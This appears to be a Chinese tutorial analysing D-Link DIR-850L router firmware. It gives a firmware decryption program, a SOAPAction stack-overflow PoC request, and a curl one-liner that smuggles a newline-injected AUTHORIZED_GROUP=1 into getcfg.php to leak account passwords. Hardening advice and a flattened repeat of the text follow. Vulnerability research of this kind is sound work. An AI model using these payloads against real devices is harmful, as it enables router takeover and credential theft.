iot学习-DIR-850L漏洞分析
字数 1324 2025-08-27 12:33:23

D-Link DIR-850L 路由器漏洞分析与利用教学文档

一、前期准备

1.1 固件获取

DIR-850L 路由器有两个版本的固件可供分析:

  • REVA 版本固件:

    ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP
    
  • REVB 版本固件:

    ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVB/DIR-850L_REVB_FIRMWARE_2.07.B05_WW.ZIP
    

1.2 固件分析

使用 binwalk 分析 REVA 版本固件:

binwalk DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP

输出显示包含 PDF 文件和未加密的固件。

REVB 版本固件被加密,需要使用解密工具:

/* 
 * D-LINK DIR-850L REVB 固件解密程序
 * 编译: gcc -o revbdec revbdec.c
 * 使用: ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > decrypted.bin
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define USAGE "Usage: decimg <filename> <key>\n"

int main(int argc, char **argv) {
    int i, fi;
    int fo = STDOUT_FILENO, fe = STDERR_FILENO;
    
    if (argc != 3) {
        write(fe, USAGE, strlen(USAGE));
        return (EXIT_FAILURE);
    }
    
    if ((fi = open(argv[1], O_RDONLY)) == -1) {
        perror("open");
        write(fe, USAGE, strlen(USAGE));
        return (EXIT_FAILURE);
    }
    
    const char *key = argv[2];
    int kl = strlen(key);
    i = 0;
    
    while (1) {
        char buffer[4096];
        int j, len;
        len = read(fi, buffer, 4096);
        if (len <= 0) break;
        
        for (j = 0; j < len; j++) {
            buffer[j] ^= (i + j) % 0xFB + 1;
            buffer[j] ^= key[(i + j) % kl];
        }
        write(fo, buffer, len);
        i += len;
    }
    return (EXIT_SUCCESS);
}

解密后使用 binwalk 分析:

binwalk DIR850LB1_FW207WWb05.decrypted

输出显示包含 Squashfs 文件系统。

1.3 固件解压

使用 binwalk -Me 解压固件:

binwalk -Me DIR850LB1_FW207WWb05.decrypted

二、漏洞分析

2.1 栈溢出漏洞

漏洞文件: squashfs-root/htdocs/cgibin

保护机制检查:

[*] '/squashfs-root/htdocs/cgibin'
    Arch:     mips-32-big
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

漏洞成因:

  • 在处理 HTTP_SOAPACTION 内容时,使用 getenv 获取环境变量值
  • 使用 strcat() 函数拼接 HNAP_AUTHHTTP_SOAPACTION 时没有长度限制
  • 当输入超过 547 字节时,将覆盖 PC 指针,控制程序执行流

关键汇编代码:

0x00414130 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv
0x00414134 0320f809 jalr t9
0x00414138 24847dac addiu a0, a0, 0x7dac ; HTTP_SOAPACTION
0x0041413c 3c040042 lui a0, 0x42
0x00414140 8fbc0020 lw gp, 0x20(sp)
0x00414144 2484615c addiu a0, a0, 0x615c
0x00414148 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv
0x0041414c 0320f809 jalr t9
0x00414150 00408821 move s1, v0 ; HTTP_SOAPACTION saved to s1.
0x00414a14 02402021 move a0, s2 ; arg1 (dest)
0x00414a18 8fbc0020 lw gp, 0x20(sp)
0x00414a1c 8f9982b0 lw t9, -0x7d50(gp) ; [0x43abf0:4]=0x4253e0 sym.imp.strcat
0x00414a20 0320f809 jalr t9 ; Call to strcat
0x00414a24 02202821 move a1, s1 ; arg2 (src)

POC:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
HNAP_AUTH: BBD0605AF8690024AF8568BE88DD7B8E 1482588069
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/info/Login.html
Content-Length: 306
Cookie: uid=OLnLaWBI8S
Connection: close

2.2 文件读取漏洞

漏洞文件: /htdocs/web/getcfg.php

漏洞成因:

  • GETCFG_SVC 参数可控,通过 dophp 函数进行文件读取
  • 需要 is_power_user 函数返回值为1
  • AUTHORIZED_GROUP 全局变量由 cgibin 传入,可通过构造请求绕过验证

利用方法:

  1. 分析 cgibin 文件处理 POST 请求的部分
  2. 发现 cgibin_parse_request 函数处理 HTTP 请求时,经过 sess_validate 验证的数据会赋值给 AUTHORIZED_GROUP
  3. sobj_add_char 函数使用 0xA ('\n') 分隔参数

POC:

curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[IP]/getcfg.php"

参数说明:

  • SERVICES=DEVICE.ACCOUNT: 构造 DEVICE.ACCOUNT.xml.php 配置文件
  • %0a: URL 编码的换行符
  • 成功利用后会泄露账户密码(未设置密码时显示为空)

三、漏洞利用步骤

3.1 栈溢出漏洞利用

  1. 构造超长 SOAPAction 头部
  2. 精确控制溢出长度(547字节以上)
  3. 覆盖 PC 指针控制程序流
  4. 构造 ROP 链或 shellcode 实现任意代码执行

3.2 文件读取漏洞利用

  1. 发送 POST 请求到 /getcfg.php
  2. 构造包含换行符的参数
  3. 通过 AUTHORIZED_GROUP=1 绕过权限检查
  4. 读取敏感配置文件获取凭证

四、防护建议

  1. strcat 等危险函数替换为安全版本(如 strncat
  2. 对用户输入进行严格长度检查
  3. 启用栈保护机制(Canary, NX, ASLR)
  4. 对权限验证逻辑进行加固,防止绕过
  5. 及时更新固件到最新版本

五、参考资源

D-Link DIR-850L 路由器漏洞分析与利用教学文档 一、前期准备 1.1 固件获取 DIR-850L 路由器有两个版本的固件可供分析: REVA 版本固件: REVB 版本固件: 1.2 固件分析 使用 binwalk 分析 REVA 版本固件: 输出显示包含 PDF 文件和未加密的固件。 REVB 版本固件被加密,需要使用解密工具: 解密后使用 binwalk 分析: 输出显示包含 Squashfs 文件系统。 1.3 固件解压 使用 binwalk -Me 解压固件: 二、漏洞分析 2.1 栈溢出漏洞 漏洞文件 : squashfs-root/htdocs/cgibin 保护机制检查 : 漏洞成因 : 在处理 HTTP_SOAPACTION 内容时,使用 getenv 获取环境变量值 使用 strcat() 函数拼接 HNAP_AUTH 和 HTTP_SOAPACTION 时没有长度限制 当输入超过 547 字节时,将覆盖 PC 指针,控制程序执行流 关键汇编代码 : POC : 2.2 文件读取漏洞 漏洞文件 : /htdocs/web/getcfg.php 漏洞成因 : GETCFG_SVC 参数可控,通过 dophp 函数进行文件读取 需要 is_power_user 函数返回值为1 AUTHORIZED_GROUP 全局变量由 cgibin 传入,可通过构造请求绕过验证 利用方法 : 分析 cgibin 文件处理 POST 请求的部分 发现 cgibin_parse_request 函数处理 HTTP 请求时,经过 sess_validate 验证的数据会赋值给 AUTHORIZED_GROUP sobj_add_char 函数使用 0xA ('\n') 分隔参数 POC : 参数说明 : SERVICES=DEVICE.ACCOUNT : 构造 DEVICE.ACCOUNT.xml.php 配置文件 %0a : URL 编码的换行符 成功利用后会泄露账户密码(未设置密码时显示为空) 三、漏洞利用步骤 3.1 栈溢出漏洞利用 构造超长 SOAPAction 头部 精确控制溢出长度(547字节以上) 覆盖 PC 指针控制程序流 构造 ROP 链或 shellcode 实现任意代码执行 3.2 文件读取漏洞利用 发送 POST 请求到 /getcfg.php 构造包含换行符的参数 通过 AUTHORIZED_GROUP=1 绕过权限检查 读取敏感配置文件获取凭证 四、防护建议 对 strcat 等危险函数替换为安全版本(如 strncat ) 对用户输入进行严格长度检查 启用栈保护机制(Canary, NX, ASLR) 对权限验证逻辑进行加固,防止绕过 及时更新固件到最新版本 五、参考资源 NCC Group 技术报告: D-Link DIR-850L Web Admin Interface Vulnerable to Stack-Based Buffer Overflow 先知社区原文链接